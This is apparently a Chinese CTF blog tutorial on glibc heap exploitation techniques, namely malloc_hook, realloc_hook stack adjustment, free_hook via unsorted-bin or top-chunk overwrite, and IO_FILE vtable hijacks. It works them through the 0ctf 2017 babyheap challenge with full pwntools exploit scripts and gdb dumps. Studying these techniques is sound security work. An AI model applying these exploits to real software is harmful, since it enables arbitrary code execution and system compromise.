堆利用的手法:

  • malloc_hook
  • realloc_hook+free_hook
  • free_hook
  • unsorted_bin+free_hook
  • io_finsh
  • io_overflow

接下来就以0ctf-babyheap-2017来做例题进行讲解

分析的过程在我的另一篇文章上就有说明,这里就不再进行分析,主要是讲方法

1.malloc_hook

第一种是最简单的方法,就是将malloc_hook覆盖为one_gadget,因为在malloc_hook不为空的时候会进行跳转,具体的可以参考我的另一篇文章

上面的方法虽然很简单但是当one_gadget不可用的时候就会很鸡肋,这就需要借助一个巧妙的办法来使得one_gadget的条件成立

2.realloc_hook+one_gadget:

我们首先来看一下realloc_hook的汇编代码:

   0x7f064d9456c0 <__GI___libc_realloc>:    push   r15
   0x7f064d9456c2 <__GI___libc_realloc+2>:  push   r14
   0x7f064d9456c4 <__GI___libc_realloc+4>:  push   r13
   0x7f064d9456c6 <__GI___libc_realloc+6>:  push   r12
   0x7f064d9456c8 <__GI___libc_realloc+8>:  mov    r13,rsi
   0x7f064d9456cb <__GI___libc_realloc+11>: push   rbp
   0x7f064d9456cc <__GI___libc_realloc+12>: push   rbx
   0x7f064d9456cd <__GI___libc_realloc+13>: mov    rbx,rdi
   0x7f064d9456d0 <__GI___libc_realloc+16>: sub    rsp,0x38 
   0x7f064d945786 <__GI___libc_realloc+198>:    pop    rbp
   0x7f064d945787 <__GI___libc_realloc+199>:    pop    r12
   0x7f064d945789 <__GI___libc_realloc+201>:    pop    r13
   0x7f064d94578b <__GI___libc_realloc+203>:    pop    r14
   0x7f064d94578d <__GI___libc_realloc+205>:    pop    r15

push和pop是对应的,我们可以控制push的数量来抬高栈,促使one_gadget条件成立
exp:

add(0x18)#0
add(0x18)#1
add(0x60)#2
add(0x18)#3
edit(0,0x18+0x8,0x18*'a'+p64(0x91))
free(1)
add(0x18)
show(2)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
free_hook = libc_base+0x3c67a8
malloc_hook = libc_base+libc.symbols["__malloc_hook"]
sys_addr = libc_base+libc.symbols["system"]
realloc_hook = libc_base +libc.symbols["__libc_realloc"]
one = 0x4526a+libc_base
print ("realloc_hook:"+hex(realloc_hook))
add(0x60)#4-->2
free(2)
edit(4,0x8,p64(malloc_hook-0x23))
add(0x60)#2
add(0x60)#5
edit(5,27,11*'a'+p64(one)+p64(realloc_hook))
print("one:"+hex(one))
add(0x20)
p.interactive()

我们将断点设在one_gadget处,当realloc+0的时候,查看rsp的值:

x/32gx $rsp
0x7ffd36626fe8: 0x00007f83e17068ef  0x0000000000000000
0x7ffd36626ff8: 0x1999999999999999  0x00007f83e1a48780
0x7ffd36627008: 0x00007f83e17792c0  0x000000000000000a
0x7ffd36627018: 0xffffffffffffffff  0x0000000005a476a3
0x7ffd36627028: 0x0000000000000000  0x0000000000000014
0x7ffd36627038: 0x000055ab3dbd6a40  0x00007ffd366271b0
0x7ffd36627048: 0x0000000000000000  0x0000000000000000
0x7ffd36627058: 0x00007f83e1706fba  0x0000000000000000
0x7ffd36627068: 0x0000000000000000  0x00007ffd366270b0
0x7ffd36627078: 0x000055ab3dbd6a40  0x00007ffd366271b0
0x7ffd36627088: 0x000055ab3dbd6dd1  0x0000000000000000
0x7ffd36627098: 0x0000226b753c7940  0x0000001400000006
0x7ffd366270a8: 0x2aafbfb0eff03100  0x00007ffd366270d0
0x7ffd366270b8: 0x000055ab3dbd717a  0x00007ffd366271b0
0x7ffd366270c8: 0x0000226b753c7940  0x000055ab3dbd73e0
0x7ffd366270d8: 0x00007f83e16a2830  0x0000000000000001

我们发现此时rsp+0x30处的值为0xffffffffffff
接下来我们进行调试发现当realloc+8的时候rsp+0x30处的值为0,满足

x/32gx $rsp+0x30
0x7ffedaf67958: 0x0000000000000000  0x00007ffedaf679a0
0x7ffedaf67968: 0x0000000000000000  0x0000000000000014
0x7ffedaf67978: 0x00007fbf3f52bfba  0x0000000000000000
0x7ffedaf67988: 0x0000000000000000  0x00007ffedaf679d0
0x7ffedaf67998: 0x000055bafd130a40  0x00007ffedaf67ad0
0x7ffedaf679a8: 0x000055bafd130dd1  0x0000000000000000
0x7ffedaf679b8: 0x000050a8748e18c0  0x0000001400000006
0x7ffedaf679c8: 0xd328f8938e9f4700  0x00007ffedaf679f0
0x7ffedaf679d8: 0x000055bafd13117a  0x00007ffedaf67ad0
0x7ffedaf679e8: 0x000050a8748e18c0  0x000055bafd1313e0
0x7ffedaf679f8: 0x00007fbf3f4c7830  0x0000000000000001
0x7ffedaf67a08: 0x00007ffedaf67ad8  0x000000013fa96ca0
0x7ffedaf67a18: 0x000055bafd13111d  0x0000000000000000
0x7ffedaf67a28: 0xf800aceb67378041  0x000055bafd130a40
0x7ffedaf67a38: 0x00007ffedaf67ad0  0x0000000000000000
0x7ffedaf67a48: 0x0000000000000000  0xac88e321b4f78041

效果

Command: $ 1
Size: $ 20
$ ls
0ctf_2017_babyheap  baby2.py  baby3.py    baby4.py  baby.py  core
$  

3.free_hook

free_hook和malloc_hook差不多,都会首先检查其内的值是否为空,若不为空则跳转,但是调试可以发现free_hook上方有好多0,不能直接覆盖free_hook为想要的地址,这里就有两种方法来实现向free_hook内写值,我们发现在free_hook-0xb58处又可以利用的值

1.覆盖top_chunk为free_hook-0xb58

2.利用unsortedbinattarck在free_hook上方写入数据

首先第一种:
exp:

add(0x18)#0
add(0x18)#1
add(0x68)#2
add(0x18)#3
payload = 0x18*'a'+p64(0x91)
edit(0,len(payload),payload)
free(1)
add(0x18)
show(2)
addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print(hex(addr))
libc_base = addr - 0x3c4b78
print(hex(libc_base))
malloc_hook = libc.symbols["__malloc_hook"]+libc_base
free_hook = libc.symbols["__free_hook"]+libc_base
sys_addr = libc.symbols["system"]+libc_base
add(0x68)#4-->2
add(0x18)#5
add(0x88)#6
add(0x18)#7
free(6)
payload = 0x18*'a'+p64(0x91)+p64(0)+p64(free_hook-0x23)  #unsorted bin attrack
edit(5,len(payload),payload)
add(0x88)#6
free(2)
payload = p64(free_hook-0x16)   #fastbin attrack
edit(4,len(payload),payload)
add(0x60)#2
add(0x60)#8
edit(8,0x6+0x8,"a"*0x6+p64(sys_addr))
edit(0,0x8,"/bin/sh\x00")
free(0)

当我们进行unsorted bin attrack时,观察free_hook上方发现

x/32gx 0x7f09382a77a8-0x13
0x7f09382a7795 <_IO_stdfile_0_lock+5>:  0x00007f09382a5b78  0x0000000000000000

已成功写入main_arena+88的地址,同时我们还发现在0x7f09382a77a8-0x13-0x3
处为:

x/32gx 0x7f09382a77a8-0x13-0x3
0x7f09382a7792 <_IO_stdfile_0_lock+2>:  0x09382a5b78000000  0x000000000000007f

这时候就可以结合fastbinattrack来获取shell
其次第二种,即改变topchunk的值来进行getshell

我们发现在free_hook-0xb58处有可以利用的值,那我们可以改变topchunk处的值为free_hook-0xb58这样在下次分配的时候就是分配的free_hook-0xb58处的块,经过多次分配就可以分配到free_hook,从而改变free_hook的值进行getshell

exp:

add(0x18)#0
add(0x18)#1
add(0x68)#2
add(0x18)#3
payload = 0x18*'a'+p64(0x91)
edit(0,len(payload),payload)
free(1)
add(0x18)
show(2)
addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print(hex(addr))
libc_base = addr - 0x3c4b78
print(hex(libc_base))
malloc_hook = libc.symbols["__malloc_hook"]+libc_base
free_hook = libc.symbols["__free_hook"]+libc_base
add(0x68)#4--->2
free(2)
edit(4,0x8,p64(malloc_hook-0x3-0x8))   #fastbin attrack
add(0x68)#2
add(0x68)#5 -->malloc
payload = (0x60+0x3)*"\x00"+p64(free_hook-0xb58)
edit(5,len(payload),payload)
for i in range(6):
    add(0x200)
payload = '\x00'*(0xa0+0x58)+p64(libc.symbols["system"]+libc_base)
edit(11,len(payload),payload)
edit(0,8,"/bin/sh\x00")
free(0)

在这里我做的时首先进行fastbinattrack,申请到malloc_hook上方的块,然后通过填充填充到topchunk,改变topchunk的值
未改变之前topchunk的值:

0x7f2816c6bb70 <main_arena+80>: 0x0000000000000000  0x00005579f8b410d0

改变之后topchunk 的值

0x7ff38d95eb70 <main_arena+80>: 0x0000000000000000  0x00007ff38d95fc50

然后我们进行多次申请就可以申请到free_hook处的位置进行getshell

4.IO_FILE

这里有两种攻击方法(或许有更多种)
1.io_overflow

将虚表地址设置为IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用

exp:

add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x18)#3
edit(0,0x18+0x8,0x18*'a'+p64(0xb1))
free(1)
add(0x18)
show(2)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
print "libc_base: "+hex(libc_base)
sys_addr = libc_base+0x45390
io_list = 0x3c5520+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = 0x18cd57+libc_base
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
one = o_g[1]+libc_base
print "jump:"+hex(jump)
print "io_list:"+hex(io_list)
print "sys_addr:"+hex(sys_addr)
payload = 0x10*'a'+p64(0)+p64(0x61)+p64(0)+p64(io_list-0x10)+p64(0)+p64(1)
payload += p64(0)+p64(0)
payload = payload.ljust(0xc8,"\x00")
payload += p64(0)*4
payload += p64(jump)+p64(one)
edit(1,len(payload),payload)
add(0x60)

我们伪造的fp:

$1 = {
  file = {
    _flags = 0x0, 
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x7f338aea9510 "", 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0x0, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x0, 
    _offset = 0x0, 
    _codecvt = 0x0, 
    _wide_data = 0x0, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 

    _mode = 0x0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7f338aea77a0 <_IO_str_jumps>
}

当程序崩溃时回调哟偏移为0xe0处的值即触发one_gadget
2.io_finsh

同之前io_overflow类似,io_finish会以_IO_buf_base处的值为参数跳转至fd+0xe8处的值。
设置虚表地址为io_str_jump-0x8(异常总会调用虚标+0x18处的函数)
设置_IO_buf_base为bin/sh字符串地址,设置0xe8偏移处为system函数。
相较io_overflow不会有one_gadget不可用的情况。
exp:

add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x18)#3
edit(0,0x18+0x8,0x18*'a'+p64(0xb1))
free(1)
add(0x18)
show(2)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
print "libc_base: "+hex(libc_base)
sys_addr = libc_base+0x45390
io_list = 0x3c5520+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = 0x18cd57+libc_base
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
one = o_g[1]+libc_base
print "jump:"+hex(jump)
print "io_list:"+hex(io_list)
print "sys_addr:"+hex(sys_addr)
payload = 0x10*'a'+p64(0)+p64(0x61)+p64(0)+p64(io_list-0x10)+p64(0)+p64(1)
payload += p64(0)+p64(sh_addr)
payload = payload.ljust(0xc8,"\x00")
payload += p64(0)*4
payload += p64(jump-0x8)+p64(0)+p64(sys_addr)
edit(1,len(payload),payload)
add(0x60)

伪造的fp:

$1 = {
  file = {
    _flags = 0x0, 
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x7f69ecad3510 "", 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x7f69ec89ad57 "/bin/sh", 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0x0, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x0, 
    _offset = 0x0, 
    _codecvt = 0x0, 
    _wide_data = 0x0, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7f69ecad1798

当程序崩溃时会调用偏移0xe8处的值,从而获取shell

可以注意到,IO_file attack 的利用并不是百分百成功,必须要libc的低32位地址为负时,攻击才会成功,原因还是出在fflush函数的检查里,它第二步才是跳转,第一步的检查,在arena里的伪造file结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会check失效

参考:

[原创]堆的六种利用手法

新手向——IO_file全流程浅析

ctfwiki

推荐阅读更多精彩内容

  • 过段时间没有输入则会显示Alarm clock,与sub_B70有关(调用alarm,nop掉)。 共有5个选项。...
    静析机言阅读 526评论 0 0
  • 题目链接:https://github.com/sixstars/starctf2019/blob/master/...
    Nevv阅读 633评论 2 0
  • 题目地址:https://github.com/hacker-mao/ctf_repo/tree/master/%...
    2mpossible阅读 969评论 0 2
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 2,646评论 0 5
  • libc2.26 之后的 Tcache 机制 1. Tcache 概述 ​ tcache是libc2.26之...
    Nevv阅读 4,311评论 0 2